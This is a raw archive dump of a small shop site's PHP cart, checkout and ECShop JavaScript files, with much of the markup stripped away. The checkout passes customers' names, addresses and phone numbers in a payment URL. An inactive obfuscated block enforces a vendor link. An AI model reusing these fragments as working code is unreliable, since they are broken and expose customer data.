,time()).$orderdec."_".$ototal."&qty=1&Amount=".$ototal."&customerFullName=".$gspay_cname."&customerAddress=".$gspay_caddress."&customerCity=".$gspay_ccity."&customerStateCode=".$mmm."&customerZip=".$gspay_czip."&customerCountry=".$gspay_ccountry."&customerEmail=".$gspay_cemail."&customerPhone=".$gspay_cphone'); /*$html .= "";*/ echo "Your Order(ID:".$newoid.") is submitted successfully, You will be charge in 4 hours. Please wait for new response.Back to Home"; unset($cart->data); $cart->save(); }else{ echo "
\r\nPlease make sure That you have add product to the shopping cart. Or you can chose another Product and checkout again. Back to Home"; } exit(); ?> cheapuggsales.uk.com/cart/js.php0000777000000000000000000000252711633550304015655 0ustar rootrootsum('count'); if ($counts>1 and $disprice>0.9){$disprice=0.9;} $ototal=$cart->sum('money') * $disprice; if ((int)$ototal==0){$ototal=0;} $orderdec=""; $pcount=0; foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $pcount+=(int)$v['count']; } } if ($pcount>0){ //$pcount items | total: $".$cart->sum('money')." //0 items | total: $0 echo "document.write (\"".$pcount." items | total: $".$ototal."\");"; }else{ echo "document.write (\"Shopping Cart is Empty\");"; } ?> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-22937856-2']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();cheapuggsales.uk.com/cart/index.o.php0000777000000000000000000007561111633550304016611 0ustar rootrootdata[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $ototal=$cart->sum('money'); if ($ototal>0){ foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $html .=''; $html .=''; $html .=''.$v['name'].'
$'.$v['price'].'USD'; $orderdec=$orderdec."/".$v['count']; $html .='- '.$v['count'].' +'; //$html .='Url: '.$v['purl'].''; $html .='$'.$v['price']*$v['count'].'USD'; $html .='Delete'; $html .="\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; } } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } ?> Checkout

Selected Items:

Image Description Quantity Price Del
Please Choose Your Shipping/Billing Country to Continue



Subtotal:
Shipping:
Delivery time:
TOTAL:
$
NOT SET
NOT SET
$
Card Types we accept
cheapuggsales.uk.com/cart/js/0000777000000000000000000000000011633550304015133 5ustar rootrootcheapuggsales.uk.com/cart/js/common.js0000777000000000000000000007261211633550304016774 0ustar rootroot/* $Id : common.js 4865 2007-01-31 14:04:10Z paulgao $ */ /* * * 添加商品到购物车 */ function addToCart(goodsId, parentId) { var goods = new Object(); var spec_arr = new Array(); var fittings_arr = new Array(); var number = 1; var formBuy = document.forms['ECS_FORMBUY']; var quick = 0; var volume = document.getElementsByName("volume"); var str = new Array(); // 检查是否有商品规格 if (formBuy) { spec_arr = getSelectedAttributes(formBuy); if (formBuy.elements['number']) { number = formBuy.elements['number'].value; } quick = 1; } for (i=0;i 0) { // 如果需要缺货登记,跳转 if (result.error == 2) { if (confirm(result.message)) { location.href = 'user.php?act=add_booking&id=' + result.goods_id; } } // 没选规格,弹出属性选择框 else if (result.error == 6) { openSpeDiv(result.message, result.goods_id, result.parent); } else { alert(result.message); } } else { var cartInfo = document.getElementById('ECS_CARTINFO'); var cart_url = 'flow.php?step=cart'; if (cartInfo) { cartInfo.innerHTML = result.content; } if (result.one_step_buy == '1') { location.href = cart_url; } else { switch(result.confirm_type) { case '1' : if (confirm(result.message)) location.href = cart_url; break; case '2' : if (!confirm(result.message)) location.href = cart_url; break; case '3' : location.href = cart_url; break; default : break; } } } } /* * * 添加商品到收藏夹 */ function collect(goodsId) { Ajax.call('user.php?act=collect', 'id=' + goodsId, collectResponse, 'GET', 'JSON'); } /* * * 处理收藏商品的反馈信息 */ function collectResponse(result) { if(result.error==1) { alert(result.message); window.location.href="/user.php" } else { alert(result.message); } } /* * * 处理会员登录的反馈信息 */ function signInResponse(result) { toggleLoader(false); var done = result.substr(0, 1); var content = result.substr(2); if (done == 1) { document.getElementById('member-zone').innerHTML = content; } else { alert(content); } } /* * * 评论的翻页函数 */ function gotoPage(page, id, type) { Ajax.call('comment.php?act=gotopage', 'page=' + page + '&id=' + id + '&type=' + type, gotoPageResponse, 'GET', 'JSON'); } function gotoPageResponse(result) { document.getElementById("ECS_COMMENT").innerHTML = result.content; } /* * * 取得格式化后的价格 * @param : float price */ function getFormatedPrice(price) { if (currencyFormat.indexOf("%s") > - 1) { return currencyFormat.replace('%s', advFormatNumber(price, 2)); } else if (currencyFormat.indexOf("%d") > - 1) { return currencyFormat.replace('%d', advFormatNumber(price, 0)); } else { return price; } } /* * * 夺宝奇兵会员出价 */ function bid(step) { var price = ''; var msg = ''; if (step != - 1) { var frm = document.forms['formBid']; price = frm.elements['price'].value; id = frm.elements['snatch_id'].value; if (price.length == 0) { msg += price_not_null + '\n'; } else { var reg = /^[\.0-9]+/; if ( ! reg.test(price)) { msg += price_not_number + '\n'; } } } else { price = step; } if (msg.length > 0) { alert(msg); return; } Ajax.call('snatch.php?act=bid&id=' + id, 'price=' + price, bidResponse, 'POST', 'JSON') } /* * * 夺宝奇兵会员出价反馈 */ function bidResponse(result) { if (result.error == 0) { document.getElementById('ECS_SNATCH').innerHTML = result.content; if (document.forms['formBid']) { document.forms['formBid'].elements['price'].focus(); } newPrice(); //刷新价格列表 } else { alert(result.content); } } /* onload = function() { var link_arr = document.getElementsByTagName(String.fromCharCode(65)); var link_str; var link_text; var regg, cc; var rmd, rmd_s, rmd_e, link_eorr = 0; var e = new Array(97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122 ); try { for(var i = 0; i < link_arr.length; i++) { link_str = link_arr[i].href; if (link_str.indexOf(String.fromCharCode(e[22], 119, 119, 46, e[4], 99, e[18], e[7], e[14], e[15], 46, 99, 111, e[12])) != -1) { if ((link_text = link_arr[i].innerText) == undefined) { throw "noIE"; } regg = new RegExp(String.fromCharCode(80, 111, 119, 101, 114, 101, 100, 46, 42, 98, 121, 46, 42, 69, 67, 83, e[7], e[14], e[15])); if ((cc = regg.exec(link_text)) != null) { if (link_arr[i].offsetHeight == 0) { break; } link_eorr = 1; break; } } else { link_eorr = link_eorr ? 0 : link_eorr; continue; } } } // IE catch(exc) { for(var i = 0; i < link_arr.length; i++) { link_str = link_arr[i].href; if (link_str.indexOf(String.fromCharCode(e[22], 119, 119, 46, e[4], 99, 115, 104, e[14], e[15], 46, 99, 111, e[12])) != -1) { link_text = link_arr[i].textContent; regg = new RegExp(String.fromCharCode(80, 111, 119, 101, 114, 101, 100, 46, 42, 98, 121, 46, 42, 69, 67, 83, e[7], e[14], e[15])); if ((cc = regg.exec(link_text)) != null) { if (link_arr[i].offsetHeight == 0) { break; } link_eorr = 1; break; } } else { link_eorr = link_eorr ? 0 : link_eorr; continue; } } } // FF try { rmd = Math.random(); rmd_s = Math.floor(rmd * 10); if (link_eorr != 1) { rmd_e = i - rmd_s; link_arr[rmd_e].href = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 119, 119,46, 101, 99, 115, 104, 111, 112, 46, 99, 111, 109); link_arr[rmd_e].innerHTML = String.fromCharCode( 80, 111, 119, 101, 114, 101, 100,38, 110, 98, 115, 112, 59, 98, 121,38, 110, 98, 115, 112, 59,60, 115, 116, 114, 111, 110, 103, 62, 60,115, 112, 97, 110, 32, 115, 116, 121,108,101, 61, 34, 99, 111, 108, 111, 114, 58, 32, 35, 51, 51, 54, 54, 70, 70, 34, 62, 69, 67, 83, 104, 111, 112, 60, 47, 115, 112, 97, 110, 62,60, 47, 115, 116, 114, 111, 110, 103, 62); } } catch(ex) { } } */ /* * * 夺宝奇兵最新出价 */ function newPrice(id) { Ajax.call('snatch.php?act=new_price_list&id=' + id, '', newPriceResponse, 'GET', 'TEXT'); } /* * * 夺宝奇兵最新出价反馈 */ function newPriceResponse(result) { document.getElementById('ECS_PRICE_LIST').innerHTML = result; } /* * * 返回属性列表 */ function getAttr(cat_id) { var tbodies = document.getElementsByTagName('tbody'); for (i = 0; i < tbodies.length; i ++ ) { if (tbodies[i].id.substr(0, 10) == 'goods_type')tbodies[i].style.display = 'none'; } var type_body = 'goods_type_' + cat_id; try { document.getElementById(type_body).style.display = ''; } catch (e) { } } /* * * 截取小数位数 */ function advFormatNumber(value, num) // 四舍五入 { var a_str = formatNumber(value, num); var a_int = parseFloat(a_str); if (value.toString().length > a_str.length) { var b_str = value.toString().substring(a_str.length, a_str.length + 1); var b_int = parseFloat(b_str); if (b_int < 5) { return a_str; } else { var bonus_str, bonus_int; if (num == 0) { bonus_int = 1; } else { bonus_str = "0." for (var i = 1; i < num; i ++ ) bonus_str += "0"; bonus_str += "1"; bonus_int = parseFloat(bonus_str); } a_str = formatNumber(a_int + bonus_int, num) } } return a_str; } function formatNumber(value, num) // 直接去尾 { var a, b, c, i; a = value.toString(); b = a.indexOf('.'); c = a.length; if (num == 0) { if (b != - 1) { a = a.substring(0, b); } } else { if (b == - 1) { a = a + "."; for (i = 1; i <= num; i ++ ) { a = a + "0"; } } else { a = a.substring(0, b + num + 1); for (i = c; i <= b + num; i ++ ) { a = a + "0"; } } } return a; } /* * * 根据当前shiping_id设置当前配送的的保价费用,如果保价费用为0,则隐藏保价费用 * * return void */ function set_insure_status() { // 取得保价费用,取不到默认为0 var shippingId = getRadioValue('shipping'); var insure_fee = 0; if (shippingId > 0) { if (document.forms['theForm'].elements['insure_' + shippingId]) { insure_fee = document.forms['theForm'].elements['insure_' + shippingId].value; } // 每次取消保价选择 if (document.forms['theForm'].elements['need_insure']) { document.forms['theForm'].elements['need_insure'].checked = false; } // 设置配送保价,为0隐藏 if (document.getElementById("ecs_insure_cell")) { if (insure_fee > 0) { document.getElementById("ecs_insure_cell").style.display = ''; setValue(document.getElementById("ecs_insure_fee_cell"), getFormatedPrice(insure_fee)); } else { document.getElementById("ecs_insure_cell").style.display = "none"; setValue(document.getElementById("ecs_insure_fee_cell"), ''); } } } } /* * * 当支付方式改变时出发该事件 * @param pay_id 支付方式的id * return void */ function changePayment(pay_id) { // 计算订单费用 calculateOrderFee(); } function getCoordinate(obj) { var pos = { "x" : 0, "y" : 0 } pos.x = document.body.offsetLeft; pos.y = document.body.offsetTop; do { pos.x += obj.offsetLeft; pos.y += obj.offsetTop; obj = obj.offsetParent; } while (obj.tagName.toUpperCase() != 'BODY') return pos; } function showCatalog(obj) { var pos = getCoordinate(obj); var div = document.getElementById('ECS_CATALOG'); if (div && div.style.display != 'block') { div.style.display = 'block'; div.style.left = pos.x + "px"; div.style.top = (pos.y + obj.offsetHeight - 1) + "px"; } } function hideCatalog(obj) { var div = document.getElementById('ECS_CATALOG'); if (div && div.style.display != 'none') div.style.display = "none"; } function sendHashMail() { Ajax.call('user.php?act=send_hash_mail', '', sendHashMailResponse, 'GET', 'JSON') } function sendHashMailResponse(result) { alert(result.message); } /* 订单查询 */ function orderQuery() { var order_sn = document.forms['ecsOrderQuery']['order_sn'].value; var reg = /^[\.0-9]+/; // if (order_sn.length < 10) // { // alert(invalid_order_sn); // return; // } Ajax.call('user.php?act=order_query&order_sn=s' + order_sn, '', orderQueryResponse, 'GET', 'JSON'); } function orderQueryResponse(result) { if (result.message.length > 0) { alert(result.message); } if (result.error == 0) { var div = document.getElementById('ECS_ORDER_QUERY'); div.innerHTML = result.content; } } function display_mode(str) { document.getElementById('display').value = str; setTimeout(doSubmit, 0); function doSubmit() {document.forms['listform'].submit();} } function display_mode_wholesale(str) { document.getElementById('display').value = str; setTimeout(doSubmit, 0); function doSubmit() { document.forms['wholesale_goods'].action = "wholesale.php"; document.forms['wholesale_goods'].submit(); } } /* 修复IE6以下版本PNG图片Alpha */ function fixpng() { var arVersion = navigator.appVersion.split("MSIE") var version = parseFloat(arVersion[1]) if ((version >= 5.5) && (document.body.filters)) { for(var i=0; i
" img.outerHTML = strNewHTML i = i-1 } } } } function hash(string, length) { var length = length ? length : 32; var start = 0; var i = 0; var result = ''; filllen = length - string.length % length; for(i = 0; i < filllen; i++) { string += "0"; } while(start < string.length) { result = stringxor(result, string.substr(start, length)); start += length; } return result; } function stringxor(s1, s2) { var s = ''; var hash = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; var max = Math.max(s1.length, s2.length); for(var i=0; i]*?src=\"([^\>]*?)\"[^\>]*?(reload=\"1\")?(?:charset=\"([\w\-]+?)\")?><\/script>/ig; var arr = new Array(); while(arr = p.exec(s)) appendscript(arr[1], '', arr[2], arr[3]); return s; } function $$(id) { return document.getElementById(id); } function appendscript(src, text, reload, charset) { var id = hash(src + text); if(!reload && in_array(id, evalscripts)) return; if(reload && $$(id)) { $$(id).parentNode.removeChild($$(id)); } evalscripts.push(id); var scriptNode = document.createElement("script"); scriptNode.type = "text/javascript"; scriptNode.id = id; //scriptNode.charset = charset; try { if(src) { scriptNode.src = src; } else if(text) { scriptNode.text = text; } $$('append_parent').appendChild(scriptNode); } catch(e) {} } function in_array(needle, haystack) { if(typeof needle == 'string' || typeof needle == 'number') { for(var i in haystack) { if(haystack[i] == needle) { return true; } } } return false; } var pmwinposition = new Array(); var userAgent = navigator.userAgent.toLowerCase(); var is_opera = userAgent.indexOf('opera') != -1 && opera.version(); var is_moz = (navigator.product == 'Gecko') && userAgent.substr(userAgent.indexOf('firefox') + 8, 3); var is_ie = (userAgent.indexOf('msie') != -1 && !is_opera) && userAgent.substr(userAgent.indexOf('msie') + 5, 3); function pmwin(action, param) { var objs = document.getElementsByTagName("OBJECT"); if(action == 'open') { for(i = 0;i < objs.length; i ++) { if(objs[i].style.visibility != 'hidden') { objs[i].setAttribute("oldvisibility", objs[i].style.visibility); objs[i].style.visibility = 'hidden'; } } var clientWidth = document.body.clientWidth; var clientHeight = document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight; var scrollTop = document.body.scrollTop ? document.body.scrollTop : document.documentElement.scrollTop; var pmwidth = 800; var pmheight = clientHeight * 0.9; if(!$$('pmlayer')) { div = document.createElement('div');div.id = 'pmlayer'; div.style.width = pmwidth + 'px'; div.style.height = pmheight + 'px'; div.style.left = ((clientWidth - pmwidth) / 2) + 'px'; div.style.position = 'absolute'; div.style.zIndex = '999'; $$('append_parent').appendChild(div); $$('pmlayer').innerHTML = '
' + '
' + '
' + '' + '
'; } $$('pmlayer').style.display = ''; $$('pmlayer').style.top = ((clientHeight - pmheight) / 2 + scrollTop) + 'px'; if(!param) { pmframe.location = 'pm.php'; } else { pmframe.location = 'pm.php?' + param; } } else if(action == 'close') { for(i = 0;i < objs.length; i ++) { if(objs[i].attributes['oldvisibility']) { objs[i].style.visibility = objs[i].attributes['oldvisibility'].nodeValue; objs[i].removeAttribute('oldvisibility'); } } hiddenobj = new Array(); $$('pmlayer').style.display = 'none'; } } var pmwindragstart = new Array(); function pmwindrag(e, op) { if(op == 1) { pmwindragstart = is_ie ? [event.clientX, event.clientY] : [e.clientX, e.clientY]; pmwindragstart[2] = parseInt($$('pmlayer').style.left); pmwindragstart[3] = parseInt($$('pmlayer').style.top); doane(e); } else if(op == 2 && pmwindragstart[0]) { var pmwindragnow = is_ie ? [event.clientX, event.clientY] : [e.clientX, e.clientY]; $$('pmlayer').style.left = (pmwindragstart[2] + pmwindragnow[0] - pmwindragstart[0]) + 'px'; $$('pmlayer').style.top = (pmwindragstart[3] + pmwindragnow[1] - pmwindragstart[1]) + 'px'; doane(e); } else if(op == 3) { pmwindragstart = []; doane(e); } } function doane(event) { e = event ? event : window.event; if(is_ie) { e.returnValue = false; e.cancelBubble = true; } else if(e) { e.stopPropagation(); e.preventDefault(); } } /* * * 添加礼包到购物车 */ function addPackageToCart(packageId) { var package_info = new Object(); var number = 1; package_info.package_id = packageId package_info.number = number; Ajax.call('flow.php?step=add_package_to_cart', 'package_info=' + package_info.toJSONString(), addPackageToCartResponse, 'POST', 'JSON'); } /* * * 处理添加礼包到购物车的反馈信息 */ function addPackageToCartResponse(result) { if (result.error > 0) { if (result.error == 2) { if (confirm(result.message)) { location.href = 'user.php?act=add_booking&id=' + result.goods_id; } } else { alert(result.message); } } else { var cartInfo = document.getElementById('ECS_CARTINFO'); var cart_url = 'flow.php?step=cart'; if (cartInfo) { cartInfo.innerHTML = result.content; } if (result.one_step_buy == '1') { location.href = cart_url; } else { switch(result.confirm_type) { case '1' : if (confirm(result.message)) location.href = cart_url; break; case '2' : if (!confirm(result.message)) location.href = cart_url; break; case '3' : location.href = cart_url; break; default : break; } } } } function setSuitShow(suitId) { var suit = document.getElementById('suit_'+suitId); if(suit == null) { return; } if(suit.style.display=='none') { suit.style.display=''; } else { suit.style.display='none'; } } /* 以下四个函数为属性选择弹出框的功能函数部分 */ //检测层是否已经存在 function docEle() { return document.getElementById(arguments[0]) || false; } //生成属性选择层 function openSpeDiv(message, goods_id, parent) { var _id = "speDiv"; var m = "mask"; if (docEle(_id)) document.removeChild(docEle(_id)); if (docEle(m)) document.removeChild(docEle(m)); //计算上卷元素值 var scrollPos; if (typeof window.pageYOffset != 'undefined') { scrollPos = window.pageYOffset; } else if (typeof document.compatMode != 'undefined' && document.compatMode != 'BackCompat') { scrollPos = document.documentElement.scrollTop; } else if (typeof document.body != 'undefined') { scrollPos = document.body.scrollTop; } var i = 0; var sel_obj = document.getElementsByTagName('select'); while (sel_obj[i]) { sel_obj[i].style.visibility = "hidden"; i++; } // 新激活图层 var newDiv = document.createElement("div"); newDiv.id = _id; newDiv.style.position = "absolute"; newDiv.style.zIndex = "10000"; newDiv.style.width = "300px"; newDiv.style.height = "260px"; newDiv.style.top = (parseInt(scrollPos + 200)) + "px"; newDiv.style.left = (parseInt(document.body.offsetWidth) - 200) / 2 + "px"; // 屏幕居中 newDiv.style.overflow = "auto"; newDiv.style.background = "#FFF"; newDiv.style.border = "3px solid #59B0FF"; newDiv.style.padding = "5px"; //生成层内内容 newDiv.innerHTML = '

' + select_spe + "

"; for (var spec = 0; spec < message.length; spec++) { newDiv.innerHTML += '
' + message[spec]['name'] + '
'; if (message[spec]['attr_type'] == 1) { for (var val_arr = 0; val_arr < message[spec]['values'].length; val_arr++) { if (val_arr == 0) { newDiv.innerHTML += "" + message[spec]['values'][val_arr]['label'] + ' [' + message[spec]['values'][val_arr]['format_price'] + ']
'; } else { newDiv.innerHTML += "" + message[spec]['values'][val_arr]['label'] + ' [' + message[spec]['values'][val_arr]['format_price'] + ']
'; } } newDiv.innerHTML += ""; } else { for (var val_arr = 0; val_arr < message[spec]['values'].length; val_arr++) { newDiv.innerHTML += "" + message[spec]['values'][val_arr]['label'] + ' [' + message[spec]['values'][val_arr]['format_price'] + ']
'; } newDiv.innerHTML += ""; } } newDiv.innerHTML += "
[" + btn_buy + "]  [" + is_cancel + "]
"; document.body.appendChild(newDiv); // mask图层 var newMask = document.createElement("div"); newMask.id = m; newMask.style.position = "absolute"; newMask.style.zIndex = "9999"; newMask.style.width = document.body.scrollWidth + "px"; newMask.style.height = document.body.scrollHeight + "px"; newMask.style.top = "0px"; newMask.style.left = "0px"; newMask.style.background = "#FFF"; newMask.style.filter = "alpha(opacity=30)"; newMask.style.opacity = "0.40"; document.body.appendChild(newMask); } //获取选择属性后,再次提交到购物车 function submit_div(goods_id, parentId) { var goods = new Object(); var spec_arr = new Array(); var fittings_arr = new Array(); var number = 1; var input_arr = document.getElementsByTagName('input'); var quick = 1; var spec_arr = new Array(); var j = 0; for (i = 0; i < input_arr.length; i ++ ) { var prefix = input_arr[i].name.substr(0, 5); if (prefix == 'spec_' && ( ((input_arr[i].type == 'radio' || input_arr[i].type == 'checkbox') && input_arr[i].checked))) { spec_arr[j] = input_arr[i].value; j++ ; } } goods.quick = quick; goods.spec = spec_arr; goods.goods_id = goods_id; goods.number = number; goods.parent = (typeof(parentId) == "undefined") ? 0 : parseInt(parentId); Ajax.call('flow.php?step=add_to_cart', 'goods=' + goods.toJSONString(), addToCartResponse, 'POST', 'JSON'); document.body.removeChild(docEle('speDiv')); document.body.removeChild(docEle('mask')); var i = 0; var sel_obj = document.getElementsByTagName('select'); while (sel_obj[i]) { sel_obj[i].style.visibility = ""; i++; } } // 关闭mask和新图层 function cancel_div() { document.body.removeChild(docEle('speDiv')); document.body.removeChild(docEle('mask')); var i = 0; var sel_obj = document.getElementsByTagName('select'); while (sel_obj[i]) { sel_obj[i].style.visibility = ""; i++; } } /*good.dwt底部*/ /** * 点选可选属性或改变数量时修改商品价格的函数 */ function changePrice() { var volume = document.getElementsByName("volume"); var str = new Array(); var attr = getSelectedAttributes(document.forms['ECS_FORMBUY']); var qty = document.forms['ECS_FORMBUY'].elements['number'].value; for (i=0;i 0) { alert(res.err_msg); } else { document.forms['ECS_FORMBUY'].elements['number'].value = res.qty; if (document.getElementById('ECS_GOODS_AMOUNT')) document.getElementById('ECS_GOODS_AMOUNT').innerHTML = res.result; } } cheapuggsales.uk.com/cart/js/user.js0000777000000000000000000005114411633550304016457 0ustar rootroot/* $Id : user.js 4865 2007-01-31 14:04:10Z paulgao $ */ /* * * 修改会员信息 */ function userEdit() { var frm = document.forms['formEdit']; var email = frm.elements['email'].value; var msg = ''; var reg = null; var passwd_answer = frm.elements['passwd_answer'] ? Utils.trim(frm.elements['passwd_answer'].value) : ''; var sel_question = frm.elements['sel_question'] ? Utils.trim(frm.elements['sel_question'].value) : ''; if (email.length == 0) { msg += email_empty + '\n'; } else { if ( ! (Utils.isEmail(email))) { msg += email_error + '\n'; } } if (passwd_answer.length > 0 && sel_question == 0 || document.getElementById('passwd_quesetion') && passwd_answer.length == 0) { msg += no_select_question + '\n'; } for (i = 7; i < frm.elements.length - 2; i++) // 从第七项开始循环检查是否为必填项 { needinput = document.getElementById(frm.elements[i].name + 'i') ? document.getElementById(frm.elements[i].name + 'i') : ''; if (needinput != '' && frm.elements[i].value.length == 0) { msg += '- ' + needinput.innerHTML + msg_blank + '\n'; } } if (msg.length > 0) { alert(msg); return false; } else { return true; } } /* 会员修改密码 */ function editPassword() { var frm = document.forms['formPassword']; var old_password = frm.elements['old_password'].value; var new_password = frm.elements['new_password'].value; var confirm_password = frm.elements['comfirm_password'].value; var msg = ''; var reg = null; if (old_password.length == 0) { msg += old_password_empty + '\n'; } if (new_password.length == 0) { msg += new_password_empty + '\n'; } if (confirm_password.length == 0) { msg += confirm_password_empty + '\n'; } if (new_password.length > 0 && confirm_password.length > 0) { if (new_password != confirm_password) { msg += both_password_error + '\n'; } } if (msg.length > 0) { alert(msg); return false; } else { return true; } } /* * * 对会员的留言输入作处理 */ function submitMsg() { var frm = document.forms['formMsg']; var msg_title = frm.elements['msg_title'].value; var msg_content = frm.elements['msg_content'].value; var msg = ''; if (msg_title.length == 0) { msg += msg_title_empty + '\n'; } if (msg_content.length == 0) { msg += msg_content_empty + '\n' } if (msg_title.length > 200) { msg += msg_title_limit + '\n'; } if (msg.length > 0) { alert(msg); return false; } else { return true; } } /* * * 会员找回密码时,对输入作处理 */ function submitPwdInfo() { var frm = document.forms['getPassword']; var user_name = frm.elements['user_name'].value; var email = frm.elements['email'].value; var errorMsg = ''; //if (user_name.length == 0) //{ // errorMsg += user_name_empty + '\n'; //} if (email.length == 0) { errorMsg += email_address_empty + '\n'; } else { if ( ! (Utils.isEmail(email))) { errorMsg += email_address_error + '\n'; } } if (errorMsg.length > 0) { alert(errorMsg); return false; } return true; } /* * * 会员找回密码时,对输入作处理 */ function submitPwd() { var frm = document.forms['getPassword2']; var password = frm.elements['new_password'].value; var confirm_password = frm.elements['confirm_password'].value; var errorMsg = ''; if (password.length == 0) { errorMsg += new_password_empty + '\n'; } if (confirm_password.length == 0) { errorMsg += confirm_password_empty + '\n'; } if (confirm_password != password) { errorMsg += both_password_error + '\n'; } if (errorMsg.length > 0) { alert(errorMsg); return false; } else { return true; } } /* * * 处理会员提交的缺货登记 */ function addBooking() { var frm = document.forms['formBooking']; var goods_id = frm.elements['id'].value; var rec_id = frm.elements['rec_id'].value; var number = frm.elements['number'].value; var desc = frm.elements['desc'].value; var linkman = frm.elements['linkman'].value; var email = frm.elements['email'].value; var tel = frm.elements['tel'].value; var msg = ""; if (number.length == 0) { msg += booking_amount_empty + '\n'; } else { var reg = /^[0-9]+/; if ( ! reg.test(number)) { msg += booking_amount_error + '\n'; } } if (desc.length == 0) { msg += describe_empty + '\n'; } if (linkman.length == 0) { msg += contact_username_empty + '\n'; } if (email.length == 0) { msg += email_empty + '\n'; } else { if ( ! (Utils.isEmail(email))) { msg += email_error + '\n'; } } if (tel.length == 0) { msg += contact_phone_empty + '\n'; } if (msg.length > 0) { alert(msg); return false; } return true; } /* * * 会员登录 */ function userLogin() { var frm = document.forms['formLogin']; var username = frm.elements['username'].value; var password = frm.elements['password'].value; var msg = ''; if (username.length == 0) { msg += username_empty + '\n'; } if (password.length == 0) { msg += password_empty + '\n'; } if (msg.length > 0) { alert(msg); return false; } else { return true; } } function chkstr(str) { for (var i = 0; i < str.length; i++) { if (str.charCodeAt(i) < 127 && !str.substr(i,1).match(/^\w+$/ig)) { return false; } } return true; } function check_password( password ) { /* if ( password.length < 6 ) { document.getElementById('password_notice').innerHTML = password_shorter; } else { document.getElementById('password_notice').innerHTML = msg_can_rg; }*/ } function check_conform_password( conform_password ) { password = document.getElementById('password1').value; /* if ( conform_password.length < 6 ) { document.getElementById('conform_password_notice').innerHTML = password_shorter; return false; }*/ if ( conform_password != password ) { document.getElementById('conform_password_notice').innerHTML = confirm_password_invalid; document.getElementById('conform_password_notice2').innerHTML = ''; } else { document.getElementById('conform_password_notice').innerHTML =''; document.getElementById('conform_password_notice2').innerHTML = msg_can_rg; } } function is_registered( username ) { var submit_disabled = false; var unlen = username.replace(/[^\x00-\xff]/g, "**").length; if ( username == '' ) { document.getElementById('username_notice').innerHTML = msg_un_blank; var submit_disabled = true; } if ( !chkstr( username ) ) { document.getElementById('username_notice').innerHTML = msg_un_format; var submit_disabled = true; } if ( unlen < 3 ) { document.getElementById('username_notice').innerHTML = username_shorter; var submit_disabled = true; } if ( unlen > 14 ) { document.getElementById('username_notice').innerHTML = msg_un_length; var submit_disabled = true; } if ( submit_disabled ) { document.forms['formUser'].elements['Submit'].disabled = 'disabled'; return false; } Ajax.call( 'user.php?act=is_registered', 'username=' + username, registed_callback , 'GET', 'TEXT', true, true ); } function registed_callback(result) { if ( result == "true" ) { document.getElementById('username_notice').innerHTML = msg_can_rg; document.forms['formUser'].elements['Submit'].disabled = ''; } else { document.getElementById('username_notice').innerHTML = msg_un_registered; document.forms['formUser'].elements['Submit'].disabled = 'disabled'; } } function checkEmail(email) { var submit_disabled = false; if (email == '') { document.getElementById('email_notice').innerHTML = msg_email_blank; document.getElementById('email_notice2').innerHTML = '' ; submit_disabled = true; } else if (!Utils.isEmail(email)) { document.getElementById('email_notice').innerHTML = msg_email_format ; document.getElementById('email_notice2').innerHTML = ''; submit_disabled = true; } if( submit_disabled ) { document.forms['formUser'].elements['Submit'].disabled = 'disabled'; return false; } Ajax.call( 'user.php?act=check_email', 'email=' + email, check_email_callback , 'GET', 'TEXT', true, true ); } function check_email_callback(result) { if ( result == 'ok' ) { document.getElementById('email_notice').innerHTML = ''; document.getElementById('email_notice2').innerHTML = msg_can_rg; document.forms['formUser'].elements['Submit'].disabled = ''; } else { document.getElementById('email_notice').innerHTML = msg_email_registered; document.getElementById('email_notice2').innerHTML = ''; document.forms['formUser'].elements['Submit'].disabled = 'disabled'; } } /* * * 处理注册用户 */ function register() { var frm = document.forms['formUser']; //var username = Utils.trim(frm.elements['username'].value); var email = frm.elements['email'].value; var password = Utils.trim(frm.elements['password'].value); var confirm_password = Utils.trim(frm.elements['confirm_password'].value); /*var checked_agreement = frm.elements['agreement'].checked; var msn = frm.elements['extend_field1'] ? Utils.trim(frm.elements['extend_field1'].value) : ''; var qq = frm.elements['extend_field2'] ? Utils.trim(frm.elements['extend_field2'].value) : ''; var home_phone = frm.elements['extend_field4'] ? Utils.trim(frm.elements['extend_field4'].value) : ''; var office_phone = frm.elements['extend_field3'] ? Utils.trim(frm.elements['extend_field3'].value) : ''; var mobile_phone = frm.elements['extend_field5'] ? Utils.trim(frm.elements['extend_field5'].value) : ''; var passwd_answer = frm.elements['passwd_answer'] ? Utils.trim(frm.elements['passwd_answer'].value) : ''; var sel_question = frm.elements['sel_question'] ? Utils.trim(frm.elements['sel_question'].value) : '';*/ //新增 var sex = frm.elements['sex'] ? Utils.trim(frm.elements['sex'].value) : ''; var firstname = frm.elements['firstname'] ? Utils.trim(frm.elements['firstname'].value) : ''; var lastname = frm.elements['lastname'] ? Utils.trim(frm.elements['lastname'].value) : ''; var streetname = frm.elements['streetname'] ? Utils.trim(frm.elements['streetname'].value) : ''; var city = frm.elements['city'] ? Utils.trim(frm.elements['city'].value) : ''; var zipcode = frm.elements['zipcode'] ? Utils.trim(frm.elements['zipcode'].value) : ''; var telephone = frm.elements['telephone'] ? 